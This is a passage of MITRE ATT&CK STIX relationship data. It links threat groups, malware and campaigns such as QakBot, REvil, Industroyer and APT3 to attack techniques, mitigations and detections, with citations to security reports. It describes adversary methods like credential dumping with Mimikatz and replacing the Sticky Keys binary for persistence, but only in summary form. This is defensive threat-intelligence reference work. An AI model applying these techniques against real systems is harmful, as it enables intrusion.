2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a8e426d7-d4d8-44f4-b2f4-6d552e75908b","created":"2021-01-04T20:42:22.291Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604)’s main backdoor connected to a remote C2 server using HTTPS.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8e5b5ae-85ca-48da-b3a0-36da1162034d","type":"relationship","created":"2020-01-24T14:07:56.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","source_name":"FireEye WMI 2015"}],"modified":"2021-10-16T20:11:13.987Z","description":"Prevent credential overlap across systems of administrator and privileged accounts.(Citation: FireEye WMI 2015)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8e662f8-e644-44d8-8aca-79e8d7924826","type":"relationship","created":"2021-09-30T12:48:38.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:15:34.219Z","description":"The [QakBot](https://attack.mitre.org/software/S0650) dropper can delay dropping the payload to evade detection.(Citation: Cyberint Qakbot May 2021)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a8e6ca7b-5d75-429a-b8f8-de97d5c277b3","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Net Crawler](https://attack.mitre.org/software/S0056) uses credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to extract cached credentials from Windows systems.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde50aaa-f5de-4cb8-989a-babb57d6a704","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8ec5ebc-8505-471c-ae81-877229b53a65","type":"relationship","created":"2021-07-06T22:45:36.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2022-01-05T21:02:22.974Z","description":"On Windows 10, various Attack Surface Reduction (ASR) rules can be enabled to prevent the execution of potentially malicious executable files (such as those that have been downloaded and executed by Office applications/scripting interpreters/email clients or that do not meet specific prevalence, age, or trusted list criteria). Note: cloud-delivered protection must be enabled for certain rules. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8efc910-79fc-474a-b3c1-27c8922c1af0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.006Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) uses the ipconfig command.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8f11c39-df96-451e-a93a-417512f82819","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.637Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Accenture Hogfish April 2018)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8f2eae9-2b7a-4372-a534-52d8d281f455","created":"2023-09-30T04:26:38.493Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T04:26:38.493Z","description":"Monitor for missing log files from machines with known active periods.","relationship_type":"detects","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8f41a5a-b6bd-4446-8f9d-22d0e7b4af74","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.901Z","description":"(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8fb34b2-3de0-4ffa-a793-9f4cefa02ff9","created":"2023-01-23T18:54:15.338Z","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-23T18:54:15.338Z","description":"[Prestige](https://attack.mitre.org/software/S1058) can use PowerShell for payload execution on targeted systems.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a8fb73d8-e4c0-4f3f-86e7-a13768fae22b","created":"2022-03-25T21:08:25.058Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can copy files to other machines on a compromised network.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:09:56.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8fd0806-56eb-4438-bcce-18f7851a07c6","created":"2023-07-25T20:23:35.966Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-25T20:23:35.967Z","description":"During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors downloaded malicious payloads onto select compromised hosts.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8fef3c0-796a-4995-81fe-c47336c3ddbd","created":"2022-09-02T19:19:17.187Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:19:17.187Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has acquired and used a variety of open source tools.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a901b584-c676-4419-9357-943de685114e","type":"relationship","created":"2020-08-11T21:15:35.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-19T18:03:03.776Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can upload a file via HTTP POST response to the C2 split into 102,400-byte portions. [RDAT](https://attack.mitre.org/software/S0495) can also download data from the C2 which is split into 81,920-byte portions.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.637Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9062522-1891-4405-b8e6-f6465834c18a","type":"relationship","created":"2021-10-15T20:03:19.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-10-15T20:03:19.605Z","description":"(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a9062634-d5c3-4154-bea0-e4e76821d944","created":"2022-09-16T22:12:27.786Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T22:12:27.786Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors collected data from compromised hosts.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a90a5b4d-b677-4a69-8fa0-feab294c9daf","created":"2022-10-07T20:02:33.857Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:02:33.857Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors renamed some tools and executables to appear as legitimate programs.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a910e0f8-1548-4dd6-a0eb-19430a5f75b0","type":"relationship","created":"2020-08-04T19:50:07.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Sodinokibi April 2019","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html","description":"Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}],"modified":"2020-08-05T17:26:24.805Z","description":"[REvil](https://attack.mitre.org/software/S0496) can download a copy of itself from an attacker controlled IP address to the victim machine.(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Picus Sodinokibi January 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a91a486b-4119-44e1-9fcf-c746849947e8","created":"2024-05-22T21:59:32.930Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:59:32.930Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) XORs some strings within the binary using the value 0xD5, and deobfuscates these items at runtime.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a9200a4f-271b-4b13-864b-a3e21de3c9f2","created":"2022-06-09T14:57:15.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Ember Bear Profile March 2022","description":"CrowdStrike. (2022, March 30). Who is EMBER BEAR?. Retrieved June 9, 2022.","url":"https://www.crowdstrike.com/blog/who-is-ember-bear/"},{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"Mandiant UNC2589 March 2022","description":"Sadowski, J; Hall, R. (2022, March 4). Responses to Russia's Invasion of Ukraine Likely to Spur Retaliation. Retrieved June 9, 2022.","url":"https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T17:11:08.612Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) is associated with [WhisperGate](https://attack.mitre.org/software/S0689) use against multiple victims in Ukraine.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","source_name":"aptsim"}],"modified":"2019-04-29T18:01:20.215Z","description":"[APT3](https://attack.mitre.org/groups/G0022) replaces the Sticky Keys binary C:\\Windows\\System32\\sethc.exe for persistence.(Citation: aptsim)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a92a6707-1c22-42b2-9968-2aead300d2da","type":"relationship","created":"2021-04-13T18:30:41.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-04-13T18:30:41.612Z","description":"[Conti](https://attack.mitre.org/software/S0575) can enumerate routine network connections from a compromised host.(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a9325bef-18be-4646-9e7b-5e7af4795f18","created":"2024-08-01T22:27:16.115Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"Sekoia Raccoon1 2022","description":"Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:27:16.115Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) uses existing HTTP-based command and control channels for exfiltration.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a933bad9-0f92-4a25-9b46-19120737caee","type":"relationship","created":"2019-04-01T21:09:50.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2019-07-17T13:11:38.731Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor possesses the capability to list files and directories on a machine. (Citation: ESET 